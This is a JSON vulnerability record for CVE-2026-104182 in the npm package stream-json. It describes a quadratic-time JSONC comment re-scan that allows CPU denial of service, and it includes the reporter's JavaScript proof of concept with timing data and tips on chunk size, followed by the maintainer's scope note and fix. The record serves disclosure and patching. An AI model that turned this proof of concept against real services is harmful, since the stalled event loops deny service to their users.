{"schema":"threatline.record/2","record":{"id":"CVE-2026-104182","aliases":["GHSA-hqr4-qq8f-hg3x"],"summary":"stream-json: JSONC parser and verifier re-scan the whole accumulated comment on every input chunk","details":"## Summary\n\nThe JSONC parser (`stream-json/jsonc/parser.js`) and verifier (`stream-json/jsonc/verifier.js`) scan a comment for its terminator starting from the comment's opening `/` on every input chunk. When a comment doesn't finish inside the current buffer, the scanner returns the comment's start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n²) CPU.\n\nThis is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It's a different code path though — the comment scanner in `handleComment`, which the 3.5.0 depth cap doesn't touch — so upgrading past that advisory doesn't help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.5.0\n```\n\n```js\nimport Parser from 'stream-json/jsonc/parser.js';\n\nfunction feed(N) {\n  return new Promise(resolve => {\n    const stream = Parser.asStream();            // default options\n    stream.on('data', () => {});\n    stream.on('error', () => {});\n    stream.on('end', resolve);\n    const doc = '/*' + 'a'.repeat(N) + '*/1';     // one valid, closed comment\n    for (let i = 0; i < doc.length; i += 16384)   // 16 KB pieces, as a socket delivers a body\n      stream.write(doc.slice(i, i + 16384));\n    stream.end();\n  });\n}\n```\n\nTiming the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s — roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.\n\n## Impact\n\nRemote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.\n\n## Caveat\n\nOnly the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn't need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I've suggested medium and left the CVSS vector to you.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (`startComment` / `commentChunk` / `endComment`, packed `commentValue`); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.","categories":["Libraries & packages"],"product":"stream-json","vendor":"uhop","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-hqr4-qq8f-hg3x","source_modified_at":"2026-10-05T22:49:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"stream-json"},"range":"<= 3.5.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-104182","source_modified_at":"2026-10-05T20:20:30.414Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"stream-json","vendor":"uhop","versions":[{"version":"< 3.6.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-hqr4-qq8f-hg3x","source_modified_at":"2026-10-05T23:00:06.323281262Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"stream-json","ecosystem":"npm","purl":"pkg:npm/stream-json"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-hqr4-qq8f-hg3x","source_modified_at":"2026-10-05T22:49:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"stream-json"},"version":"3.6.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-hqr4-qq8f-hg3x","source_modified_at":"2026-10-05T23:00:06.323281262Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"stream-json","ecosystem":"npm","purl":"pkg:npm/stream-json"},"version":"3.6.0"}],"cvss":6.2,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00138,"percentile":0.0294,"score_date":"2026-10-23"},"published_at":"2026-10-01T20:15:39.108Z","modified_at":"2026-10-05T23:00:06.323281262Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-hqr4-qq8f-hg3x","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:49:28Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-104182","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T20:20:30.414Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-hqr4-qq8f-hg3x","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T23:00:06.323281262Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104182","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/uhop/stream-json/security/advisories/GHSA-hqr4-qq8f-hg3x","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104182","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/uhop/stream-json/commit/c0299dc168ce9455ef5ca5b6a0f6850ee7fa0468","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/uhop/stream-json/releases/tag/3.6.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-hqr4-qq8f-hg3x","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-05T20:20:24.504694Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:00:06.323281262Z","content_hash":"0c144c39a55892b2aaeedff0aff10b8e2ec40149a772fa6bb06fc20f5858d65c"}}
